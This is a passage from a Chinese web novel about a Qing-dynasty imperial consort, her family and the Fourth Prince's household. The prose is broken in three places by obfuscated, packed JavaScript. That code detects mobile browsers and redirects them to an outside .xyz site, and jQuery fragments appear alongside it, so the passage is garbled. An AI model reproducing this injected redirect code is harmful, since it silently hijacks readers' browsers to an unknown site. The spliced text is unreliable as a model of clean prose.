四爷笑了笑:“说什么傻话,爷不对你好对谁好。” 年芷瑶抬头看他:“爷,我好喜欢你。”头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15090094|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次,她在四爷身上有了心动的危机感。 她眼波流转,脸上因意外而来的惊喜而泛起别样的神采,让人动容。 四爷抱住了她:“那瑶儿可要好好谢谢爷。” 年芷瑶身体力行地表示了自己的谢意。 昨夜两人闹得有些晚,还好她现在年轻,又有灵泉水的加持,最终还是硬撑着从床上起来了。 她看向白芨:“可都准备好了。” 白芨:“主子放心,夫人爱喝的茶和点心早早就备好了。” 看着自家主子在妆台前认真地在思考今日的装扮,她笑着退了下去,她还要再去下头看一下。 过了一会,白芍进来道,“小姐,夫人来了。” 年芷瑶连忙起身去迎,看到进门的额娘,她忍不住红了眼眶,轻轻喊了句:“额娘。” 年夫人见着她,也是未语泪先流,她拉着年芷瑶的手,念道:“我的儿。” 看着额娘落泪,年芷瑶忙擦了泪,说道:“额娘别哭。” “女儿好着呢,额娘快坐。” 白芨连忙扶着年夫人坐了下来。 年夫人这才仔细看起了女儿,见她面色红润,一看就不是受了委屈的,总算是稍微松了一口气。 白芨看两人情绪微缓,连忙上了茶。 年芷瑶:“额娘,这是你最爱的碧螺春,您尝尝看。” 年夫人喝了一口,笑道:“这茶比家中的还要好。”她看向白芨:“你是个能干的,多亏有你在瑶儿身边,我才能放心。” 白芨:“多谢夫人夸赞,奴婢一定竭尽全力服侍小姐。” 年夫人笑着点了点头,她环顾四周,“怎么不见松嬷嬷。” “嬷嬷在府里呢,总得有人看家才是。” 年夫人欣慰地点了点头,“你心中有数便好。” 她问道:“四爷待你可好。” 年芷瑶点了点头,说了句实在话,“四爷待我极好,此次来温泉也只带了我一个人,连与额娘的见面,也是四爷安排的。” 年夫人笑道:“这就好。”前些日子四爷派人过来传话说,让她这几日来温泉庄子一趟,她心中就有此猜测。 只是没想到能真见到她的瑶儿,四爷有这个心,想必对女儿也是有三分真心的。 当初老爷看四爷有潜龙之姿,想把女儿嫁过去为侧福晋,她一直都不同意,他们男人要争前途争去便是,何苦要牺牲她乖巧可怜的女儿。 老爷却说她糊涂,他说四爷嫡子早夭,余下三个阿哥,难辨贤愚,她女儿进府便是侧福晋,若是将来生了阿哥,未必不能坐上高位。 如今的佟佳一族何其荣耀,不就因是万岁的母家。 这话听了着实让人心动,可身为人母,又怎么舍得女儿进皇家,不若求一个平常人家,也好有娘家撑腰。 况且四爷再是潜龙,也比女儿长不少年岁,如何能是良配。 可自己的女儿却是个有主意的,对她说与其在普通人家的后院苦苦挣扎,不如去搏一把,她轻轻叹了一口气。 年芷瑶知道额娘担心她,连忙说起她在这些日子的趣事来,母女两个许多日子未见,仿佛有说不完的话。 到了午膳时间,苏培盛过来传话说,年主子和年夫人好些日子不见,四爷已经让大厨房办了席宴,让年夫人不必拘束,留下来用过午膳便是。 年夫人连忙起身道谢,“还请公公替我多谢王爷。” 苏培盛道:“夫人客气了。” 他对年芷瑶笑得尤其灿烂:“那奴才就先告退了。” 看着苏培盛离去,年夫人松了一口气,“你刚才说四爷待你好,如今我才算是信了一半。”连四爷身边的太监都对女儿这么客气,可见在女儿还是得四爷偏爱的。 年芷瑶笑了笑:“额娘,我都说了,四爷待我极好。” 年夫人摇头:“你一贯是报喜不报忧。”谁生的谁知道,她家瑶儿最是聪慧懂事,若是个男儿,比她哥哥也不差,只可惜... 是她这个做额娘的没用。 这世道,女子比男子总是更难一些。 23. 第 23 章 用过午膳后,年夫人并没有多待,反复确认过女儿一切都好后,她便提出告退。 年芷瑶只觉不舍。 年夫人劝道:“四爷虽和善,但咱们也不能失了分寸,见你过得好,额娘就放心了。” 年芷瑶知道额娘的担心,应声道:“额娘放心,女儿会好好的。” 白芨替她重新换上一杯热茶,劝道:“主子别难过,日后总会再见到夫人的。” 年芷瑶叹了一口气,“你说得对。”未来多的是机会。 “去前头问问,四爷晚上可过来。” 白芨:“是。” 还没等白芨去传话,四爷便走了进来。 年芷瑶连忙起身去迎:“爷,你来了。” 四爷看她:“怎么,见了年夫人怎么还不开心。” 年芷瑶蹭了蹭四爷的肩:“见着了开心,可额娘走了也舍不得。” 四爷拍了拍她的背,“这有什么,日后再请年夫人来便是。” 又道:“你喜欢这温泉,我们就再多待几日。” 看她重拾笑容,四爷总算是松了一口气。 年芷瑶对他撒娇道:“那我明日可以要上一壶酒吗,放在温泉里喝,温温的那种。” 四爷看她:“只准一壶。” 年芷瑶笑了起来:“爷最好了。” 在温泉庄子里的日子过得颇为惬意,她还让膳房的师傅用酱油,米酒,清酒,糖,做了一种类似于寿喜锅的汤底,用来涮火锅吃,虽说是仿冒的,但胜在大厨的手艺好,味道还是挺不错的。 就是少了颗无菌蛋,有点可惜。 四爷倒是对这种甜甜咸咸的汤汁不是很感冒,只陪她吃过一次便不再试了。 是夜,年芷瑶趴在一处池子边,她今日泡的温泉加了花瓣和香露,说是可以舒缓疲劳,滋养肌肤,是不是真的有效先另说,至少看起来很漂亮。 她抬手扬起池子里的花瓣,不禁叹道,有个私人温泉就是好啊。 只是外面有些过于安静了。 她刚想喊一下白芨,就听见外面传来了熟悉的脚步声。 是四爷走了进来。 四爷只穿了一件单衣过来,他缓缓将衣服脱下,露出了劲瘦有力的腰和若隐若现的腹肌。 年芷瑶默默地往池子下面走了走,将肩膀埋了进去,轻声道:“爷,你怎么来了。” 四爷挑眉,缓慢而有力地走到了池子中央,“爷来看看你。” 年芷瑶耳朵微红,还来看她,骗小孩子呢。 四爷伸手抓住她放在身前的手臂,将她拉到自己身边。 他拨了拨她脸上的碎发,露出一张清丽脱俗的脸,他忍不住叹道:“瑶儿,你真美。” 年芷瑶仰头,感受到他的手正握着自己的腰,手心火热滚烫,她忍不住嘤咛一声。 四爷声音低哑:“瑶儿。” “唔。”年芷瑶抬头,一双眸子被池子的热气蒸得水汪汪的,好似满眼都是他。 身上也是又白又嫩,仿佛能掐出水来,只有那一抹红唇异常夺目。 四爷的眼神暗了暗。 年芷瑶被亲的双腿发软,没人告诉她,这个时候的四爷这么欲啊。 四爷将她抱了起来,让她靠在了温泉池子里修葺好的岩壁上。 感受到身后微凉的触感,年芷瑶短暂地清醒过来,软糯糯地说:“爷,我们先回屋吧。” 四爷勾唇一笑,“不急。” !你不急,我急啊。 最后年芷瑶是被四爷抱出去的,她将头紧紧地埋在了四爷的怀里,看着身后死死盯着脚尖的白芨,羞愤愈加,这是什么破温泉池子,她再也不来了。 四爷摸了摸她微湿的发,嘱咐道:“让人给你把头发擦干再睡,小心着凉。” 年芷瑶瞪他一眼,这怪谁。 四爷笑了出声,十分轻松地将她一路抱回了屋子。 她摸了摸四爷的小臂,看不出来这人还挺有力气。 四爷看出了她的意思,笑道:“你才多重。” 他又抱着她掂了掂,皱了皱眉:“瑶儿是不是有些太轻了。” 年芷瑶红着脸,“快放我下来。” “我这是标准体重。” 标准体重?虽没听过这个词,但四爷很快明白过来意思,他挑眉:“谁定的标准?” 年芷瑶卡壳了,她该说什么,三百年后的标准?也不适用清朝啊。 四爷看她不说话了,“平日里吃得也不算少,怎么都不长肉,是不是脾胃不好。” 他对苏培盛道:“回府后让李维过来看看。” 苏培盛低头:“是。” 看着四爷三言两语就给她定了个日常体检,年芷瑶无奈,只能拉过四爷,“爷,睡觉吧。” 怎么就从旖旎的画风变成这样了呢,她有些想不明白。 坐在回府的马车上,年芷瑶看着窗外的热闹,难免有些心动,她看向四爷:“爷,我想去逛一逛。” 四爷点头同意。 几人下了车,因要赶在午前回府,她便先去了宝庆楼。 这是京城最大的银楼,这家的工匠手艺精湛,连她的陪嫁的首饰也多是这里打制的,好久没来了,正好看看这儿有什么新的款式。 因楼上就设有专门的雅间,四爷便没让人清场,只是还未上楼,就听见一个闲散的声音传来。 “呦,这不是四哥吗,怎么今日有雅兴来逛这宝庆楼啊。” 四爷看他,微微皱眉:“老九。” 老九,是九爷吗。 年芷瑶扭头看去,只见说话的男子带着肆意的笑意,长得倒是不错,五官俊俏,面若好女。 看到她也在,九阿哥这才正了正神色,行礼道:“这定是小四嫂了吧,弟弟给嫂子请安。” 九爷咋舌,都说四哥对新进府的侧福晋宠爱有加,如今一看果然不假,就老四这副脾气,什么时候陪女人来逛过银楼。 她回了半礼:“贝勒爷客气了。” 年芷瑶看了看二人,道:“爷,我先上楼了。” 四爷点头。 九爷笑道:“四哥,好福气啊。” 四爷皱眉:“有事。” 九爷:“听说前些日子四哥去了温泉庄子,弟弟也一直想在那置办一个庄子,不知四哥可有门路。” 四爷看他:“你如今也不小了,不如多干点正经事才是要紧的。” 老九看着四爷以一副好兄长的样子教训他就来气,他家五哥都没这么管过他,老四倒是过上当哥哥的瘾了。 可这到底是哥哥,要是在这和四哥顶起来,明日他家老爷子非得教训他一顿不可。 只得忍气吞声地道:“四哥教训的是,弟弟就不打扰四哥。”他侧身上马,飞快地跑了。 四爷的眉头皱得越发的深。 年芷瑶正在二楼看着掌柜的拿来的镇店之宝,看四爷这么快就上来了,有些惊讶,“这么快就聊完了。” 听四爷说他把九爷训走了,她不由抽了抽嘴角,只是九爷又不是不知道他四哥是这个脾气,还凑过来干嘛。 九爷晃悠悠的出去,气冲冲地回来,连在正院喝茶都是一副恨不得将茶杯扔出去的模样。 九福晋见了难免心疼她那一整套青瓷牡丹的盖碗,连忙劝道:“我的爷,这是谁给你气受了。” 就九爷这混不吝的脾气,让他吃瘪的人可不多见。 九爷道:“还能是谁,不就是那个老四,爷是给他面子才去问他温泉庄子的,还对爷摆上哥哥的谱了。” 九福晋不解道,“咱家在小汤山不是有庄子吗,还有两个。”她比了个二对着他。 九爷移开视线,是八哥说四哥离京离得奇怪,他不过是想去试探试探,谁知讨了个没趣。 九福晋问他:“那四哥说什么了。” “他说爷不务正业,让我干点正事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15096297|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 九福晋默默看他:“四哥说得不是挺对的吗。” 要她说,九爷与其跟着八阿哥,还不如跟着四哥呢,没见十三阿哥如今都那样了,四爷还都照顾着呢,可见四哥是个重情的。 九爷气极,飞快走出了正院。 九福晋趁机将茶盏拿了过来。 一旁九福晋的陪嫁嬷嬷劝道:“我的主子,主子爷就是个孩子脾气,您也不顺着他点。” 九福晋哼了一声:“旁人怕他,我可不怕,他要是敢把火发到我身上来,我就进宫告娘娘去。” 没过几日,年芷瑶就收到了九爷送来的礼物,说是那日在外多有怠慢,是送过来赔罪的。 她问过四爷,四爷呵呵一笑,“他既送来,那就收着。” 四爷都这么说了,那还能怎么样,就收下呗。 只是九爷呀九爷,你先过来招惹四爷,再送东西弥补,你四哥是不会记得你的好的。 但不得不说,九爷的眼光还是不错的,其中有一座掐丝珐琅的蝴蝶屏风,美得让她移不开眼,被她直接摆在了书房。 都说九爷有钱,如今一看果然不假。 她将这话说给四爷听,四爷一笑,“他哪有什么钱,不过是手松罢了,前几年皇阿玛让追缴户部欠银,老八帮了不少人垫上,你说他的钱是哪来的。” “到现在,还有不少人家的银子没收上来的呢。” 年芷瑶恍然:“怪不得这么多人说八爷贤德。”原来是拿人手短啊,“只是他们有这么多钱吗。” 户部亏空的事她也听说了,可这就不是几万两银子能解决的事,九爷救得了一时,救得了全部吗。 四爷笑了:“连瑶儿都明白的事,他们竟看不出。” 老八不过是黔驴技穷罢了。 这个老九的胆子也是大得很,还试探到他头上来了。 年芷瑶摇了摇头,她人在府里,外头的事听听也就罢了,到底离她远得很。 即回了府里,就少不了要交际。 耿氏笑道:“几日不见,侧福晋越发光彩照人了,那温泉庄子果真养人。” 年芷瑶:“妹妹说笑了。” 两人正有一搭没一搭地聊着,自从上次耿氏来她这送过点心后,便时不时地上门。 年芷瑶没想着在后院交朋友,可一个人待着到底也无聊,耿氏识眼色,又会聊天,倒不是个惹人烦的。 耿氏笑道:“侧福晋这儿的茶就是好,香气扑鼻。” 年芷瑶:“你若喜欢,等下带走些便是。” 耿氏也不推辞,她本来就是为了和侧福晋交好的,受些恩惠也好拉近关系。 白芨过来禀告:“主子,四爷过来了。” 耿氏连忙起身。 四爷走了进来,看了耿氏也在,微微一愣。 耿氏见了,连忙给四爷请安,她特意挑的午后过来就是为了避开四爷,没成想竟还会碰上,按理说她应该起身告退的。 可到底许久未见四爷了,告退的话停在嘴边,却迟迟说不出。 “起来吧。” 四爷上前牵住年芷瑶的手。 年芷瑶对他一笑:“爷。” 看着两人交错的身影,耿氏终于清醒过来,她道:“都这个时辰了,五阿哥应该快醒了,妾身就先不打扰爷和侧福晋了。” 四爷点了点头:“嗯,去吧。” 待耿氏走后,年芷瑶瞪了一眼四爷。 四爷:“这可不能怪爷,她是过来找你的。” “是。”年芷瑶阴阳怪气:“怎么能怪爷呢,要怪只能怪爷是个香饽饽,谁都想来咬上一口。” 她也凑上去咬了一口。 四爷嘶了一声,笑了:“难不成小瑶儿是属狗的。” 年芷瑶哼了一声,然后抱住了他,坏了,她开始对四爷有占有欲了。 苏培盛也跟着嘶了一声,我的爷啊,您都被咬了怎么还能笑得这么开心。 24. 第 24 章 年芷瑶正坐在窗边吹风,夜晚的风吹到脸上透着微微凉意,正好缓解一下她有些燥热的脑袋。 白芨进来看见,连忙把窗子关上一半:“主子,外头风大,小心着凉。” 年芷瑶无奈:“白芨越发像个小管家婆了。” 白芨笑笑。 年芷瑶看她:“白芨。” “嗯?” “你在我身边几年了。” 白芨笑道:“奴婢六岁来到主子身边伺候,如今已有十二年了。” “十二年啊。” 白芨点头:“主子是有什么心事。” 年芷瑶摇头,“只是觉得时间过得真快啊。” 白芨看向自家小姐,眼里泛起温柔的笑意,她是年府的家生子,她爹是在府里照看花木的,她娘是给各个院子里送花的,两人都没什么本事,一辈子拿的都是三等分例。 这活没油水,家里养不活三个孩子,就把她送了出来。 是夫人看她聪明伶俐,才让她去伺候小姐,她记得到小姐身边的时候,小姐才五岁,长得像菩萨身边的童女一般玉雪可爱,心地也同菩萨一般良善。 看到她刚搬进院子里,还会问她:“想不想家。” 可她哪还有家呢,要是家中疼爱的姑娘,即便是家生子,也不会这么早就送出来伺候人,就像夫人身边的如嬷嬷,家中女儿养得像个副小姐一样,怎么舍得送她出来吃苦呢。 后来,她娘每月来讨要她的月例银子还不够,还想将小姐赏的镯子拿走卖钱,她拒绝后,也是小姐为她出的头。 对她来说,这世上没什么比她家小姐更重要的,就像此时,她不清楚小姐为何烦恼,却依然会说:“小姐别怕,白芨会一直陪着你的。” 年芷瑶握着白芨的手,将她拉倒身边坐下,“嗯,我知道。” 比起让她相信四爷对她是真爱,还是一直在她身边的白芨更靠谱些。 日子一天天地冷了下来。 今儿个是去正院请安的日子,白芨给她裹上了狐裘披风。 到了正院,看见福晋已经出来了,她行礼后便落了座。 李氏摆弄着指甲:“如今天冷,年妹妹也是越发惫懒了,怎么连来福晋请安的时辰都晚了些。” 年芷瑶暗暗翻了个白眼,她出门的时辰根本没变,是福晋自己出来早了好不好。 “妹妹自然不比姐姐对福晋的忠心。”她抬头对李氏笑:“记得妹妹刚进府时,姐姐还时不时地告假说身子不适,不能来与福晋请安,如今倒是一日比一日来得更早了些,看来姐姐的身子应该是好多了。” 李氏眼里泛起火气。 福晋出言劝道:“都是一家子姐妹,早一些晚一些不妨什么事,只是身为女子,早日为四爷开枝散叶才是正经事。” 李氏道:“福晋说的是,再得爷宠爱,也该以子嗣为重,若是有人得了宠爱,却未尽职责,也合该自省自身,年妹妹你说是吗。” 这两人一唱一和地在说她占着四爷不散叶呗,如今四爷依旧每日宿在她这,即便留在前院,也没见他去找别人,怪不得她们着急了。 年芷瑶呵呵一笑:“福晋说的是,可是四爷每日去哪,也不是我能决定的。” 她拨了拨手上的镯子,“若是有人不得四爷喜欢,不如想想是不是自己的原因,是不是连阿哥都教不好,才让四爷不愿留宿的。” 李氏捏紧手帕:“你...” 年芷瑶看了她一眼,慢哟哟的起身:“福晋,今儿个我身子不适,就先回去了。” 说完,也不管身后人的脸色,便走了出去。 出了正院,她便对白芨道:“下次请安你就直接说我身子不适。” 之前给福晋面子,是她初来乍到还没站稳脚跟,如今看来,这面子给不给的,福晋也少不了找她麻烦。 不满四爷每日宿在她那,那就和四爷去说呀,这话和她说干嘛,难道她会傻到把四爷推出去吗。 可能福晋也知道,自己和四爷说,只会起反效果吧,这事只要康熙和德妃不开口,就没人能管得了四爷。 德妃不会管,康熙更不会在意自己三十多岁的儿子的房中事。 难不成谁还会去万岁跟前说,四爷如今正独宠府里的侧福晋,为了这个旁人都不碰了,这不是脑子有病嘛,得罪四爷对他有什么好处。 说不了四爷,就对着她阴阳怪气,真当她是软柿子啊。 白芨利索地答应:“是。” 这几次请安,福晋与李侧福晋动不动就你一言我一语的刺一刺主子,她早就心疼主子了,如今主子说不去,那是最好不过。 福晋的母家虽说是满族大姓,可那都是老黄历了,小一辈没一个有才干的,怎么比得上她们年家。 更别提李侧福晋了,阿玛现在才只是一个七品县丞,还是四爷看在三阿哥的份上才给他提的身份。 论宠爱,身份,哪比得上她们主子。 回东院的路上,年芷瑶也想明白了,其实自己喜欢上四爷也是很正常的,谁能拒绝一个出手大方,待人体贴,位高权重,又长得好看的男人呢。 只要自己没因爱情变得盲目,也就没什么大不了的,更何况,这不一定是坏事不是吗。 至少在四爷的面前,真心总是假意更动人一些。 前院书房 四爷正在回信,苏培盛悄悄地捧着食盒进来:“主子,年主子让人送了补汤过来。” 四爷点了点头,“放桌上吧。” “是。”苏培盛小心翼翼地盛了一碗放了上来。 四爷看着面前的补汤,不免失笑,上次他让李维替她把脉后,瑶儿趁机让人给他也请了脉,李维说他肝郁气结。 她就让小厨房日日炖了补汤过来,说是疏肝理气的。 四爷:“去东院说声,爷午膳过去用。” 苏培盛低头:“是。” 东院 四爷看她出神,伸手弹了下她的额头:“想什么呢。” 年芷瑶:“在想爷怎么这么幼稚。” 四爷看着越发大胆的女子,笑了笑:“说爷幼稚,嗯?” 看着越凑越近的四爷,年芷瑶连忙求饶,“啊,爷,我错了。” 识时务者为俊杰,她可不想等着晚上被算账。 四爷抱住了她,冲她道:“现在才想起求饶,晚了。” 年芷瑶也不怕,笑嘻嘻地凑到他怀里:“爷,我好喜欢你啊。” 四爷收紧手臂,“嗯?有什么事求爷。” 年芷瑶撇嘴:“人家是真心的。” 四爷捏了捏她的脸,“说吧。” 年芷瑶抱住他的脖子:“我可以不去请安吗。” “不想去就不去。” “福晋老是说一些奇怪的话,我不....”年芷瑶解释道。 诶,她惊讶抬头,“爷,你答应得也太快了吧。” 四爷笑道:“不想去不去便是,难道瑶儿觉得你家爷连这点小事都做不了主了吗。” 年芷瑶摇头,然后猛地亲了四爷一口,“我好喜欢你啊,胤禛。” 听着瑶儿喊他的名字,四爷心神微动,笑了又笑。 临近年关,府里越发忙碌,东院也跟着忙个不停。 连针线房的嬷嬷都来了三趟。 年芷瑶看着屋子里一堆的料子有些崩溃,“至于吗。”不就是进个宫吗,之前也没这么夸张啊。 又被送过来给她培训的白嬷嬷道:“主子有所不知,过年要连着进宫好几日,宫里有个不成文的规矩,新年期间的衣服是不能重样的。” 年芷瑶:“也就是说这些新做的衣服只能穿一天。” 白嬷嬷点头,“若是整个新年只穿一身衣服,被旁人瞧见定要说些什么了。” 年芷瑶明白了,就像明星走红毯一样,若是两次穿了一样的衣服,就会被人宣传他们破产了、过气了,没想到这种风气早在清朝就有。 她泄气。 松嬷嬷赞同:“是得这样,人靠衣装嘛。” 白芍配合地去给她揉肩膀,“主子先歇歇。” 年芷瑶无奈,只能接着挑,好歹是群策群力,不算太费劲。 松嬷嬷:“这件料子不错。”她在年芷瑶身上比划了一下,“也衬主子的肤色,可以做件披风,里面的内衬做藕荷色吧。” 白嬷嬷点了点头。 几人忙了一下午,总算将新年的衣服给定好了。 白芨亲自将料子送了过去。 针线房的人尤为客气:“姑娘放心,侧福晋的衣服我们定是先做的,肯定是让手艺最好的嬷嬷来做。” 白芨点了点头,“你们也辛苦。” 她伸手塞了个东西过去,是一罐上好地擦手油,“日后少不了劳烦嬷嬷,还请嬷嬷多费点心。” 主子受宠,好东西多的是,不在乎这一星半点的,但拿来赏人一些,换来一个好名声,何乐而不为呢。 嬷嬷一闻便知这是好东西,有些欣喜,她们做衣服的,最爱惜的便是一双手,主子的衣裳都娇贵,若是手上起了茧子,别说做衣裳,就是珍贵的布料也摸不得了。 是以这东西算是送到嬷嬷心坎里了,她笑道:“都是奴婢们应该做的,姑娘客气了。” 待白芨走后,那嬷嬷吩咐道:“都先紧着年侧福晋的衣裳做。” 一旁的小丫鬟不解道:“嬷嬷,都是侧福晋,把李侧福晋的放在后面不大好吧。” 嬷嬷点了点她的头:“你个小丫头懂什么。” 虽说都是侧福晋,可差别可大了去了,主子爷都多久没去过李侧福晋的院子了,她还能去找谁告状不成。 去找福晋?福晋也不会为她出头啊。 况且,这李主子能不能进宫还是两说呢。 可年主子的若是不上心,等四爷知道了,她们就等着挨罚吧。 嬷嬷收了声,教会徒弟饿死师傅,“做事去吧。” 小丫鬟不懂,但十分听话,“是。” 不光是衣裳,四爷还送了不少首饰过来。 其中有一对翡翠镯子,种色都好,很是难得,她看了许久,好像比她之前在博物馆看到的藏品还要美。 四爷看她盯了许久,有些疑惑:“不喜欢吗,爷看你之前拿着爷的翡翠扳指玩,就让人找了块上好的翡翠,做了这对镯子。” 年芷瑶对着他笑,“喜欢,爷帮我戴上好不好。” 不用他说,她都知道,这块做镯子的板料定是他能找到的最好的一块,不然不会往她面前送的。 玉镯子戴在她手腕上,碧绿如水。 他摩挲着她的手,“很衬你。” 年芷瑶反握住他的手,“谢谢爷,我很喜欢。” 闲适的日子过得很快,转眼间便到了新年,不到寅时,年芷瑶就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到了永和宫,福晋先走了进去,十三福晋在后头问道:“嫂嫂可还好。” “我无事,你忙你的便是。” 十三福晋冲她笑笑,这小四嫂比她还小上些,难怪四哥如此放心不下。 她道:“嫂嫂若哪里不舒服,定要说与娘娘听,娘娘和善,定不会与你为难的。” 年芷瑶点着头进了永和宫的门。 德妃依然笑得和煦:“你们来了。” 七福晋来得早些,已经坐在了成嫔身旁。 年芷瑶坐在角落,只当自己是一个陪笑机器,德妃笑她笑,德妃停她停。 只是她刚悄悄打过一个哈欠,就听着话题就转到自己身上了。 她听福晋开口道:“我们爷刚才可是对着年妹妹紧张坏了呢,也怪我,没瞧到妹妹不舒服。” 德妃的笑停了一瞬,并未搭福晋的话茬。 又对她道:“好孩子,可是累了。” 年芷瑶起身,不好意思地笑笑:“回娘娘的话,昨儿个想着今日是新年,着实有些高兴,今儿个又起得太早,便有些撑不住了。” 她面上带着羞红,谁见了都是讨人喜爱的家中晚辈。 成嫔笑道:“她们这般年纪,正是贪睡的时候呢,不像我们这个年纪,已经睡不着喽。” 德妃一笑:“那便去偏殿歇一歇吧,免得老四回头再说我不疼他。” 一屋子人都笑了起来。 唯独福晋的脸色有些难看。 福嬷嬷笑道:“侧福晋,跟奴婢来吧。” 年芷瑶从善如流的起了身,在她看来,福晋不痛不痒地说她几句,除了自己难受,根本没别的用,难不成四爷会因为这话不来她的院子, 就是德妃,都会因为福晋给她找麻烦而不喜,如今正是新年,这么多的客人,正是你好我好大家好的时候,最好是啥事都没有。 她跟着福嬷嬷到了偏殿,上面有早已铺好的褥子枕头,她微微一福:“麻烦嬷嬷了。” 福嬷嬷行礼道:“侧福晋客气了,等宴会开始,奴婢会让人来喊您。” “多谢嬷嬷了。” 脱离了嘈杂的环境,她一个人待着偏殿,只觉得舒服又自在,不知不觉便睡了过去,再醒来,精神好了不少。 门外也传了动静,一个小宫女走了进来:“侧福晋,该起了。” 等年芷瑶重梳了发髻,补好了妆,才跟着小宫女走了出去,顺利混入人群之中。 她瞧见德妃看了她一眼,然后对她露出一抹笑。 年芷瑶有些开心,也对着她笑了笑。 怎么办,她好像很招着对母子的喜欢。 总而言之,这次的宴会她感觉还不错,比上次过得快。 等出了宫门,白芨:“主子饿不饿,马车上有温着的羊肉汤,还有火烧。” 年芷瑶摸了摸肚子,“我还不饿,等一会儿吧。” 说来也怪,她在宫里一整天都没怎么吃东西,竟然没感觉饿。 白芨有些急,主子这两天都食欲不好,也不知是怎么回事。 四爷过来看她,听到这话,皱了皱眉,“回府后先去请李大夫过来。” 苏培盛:“是。”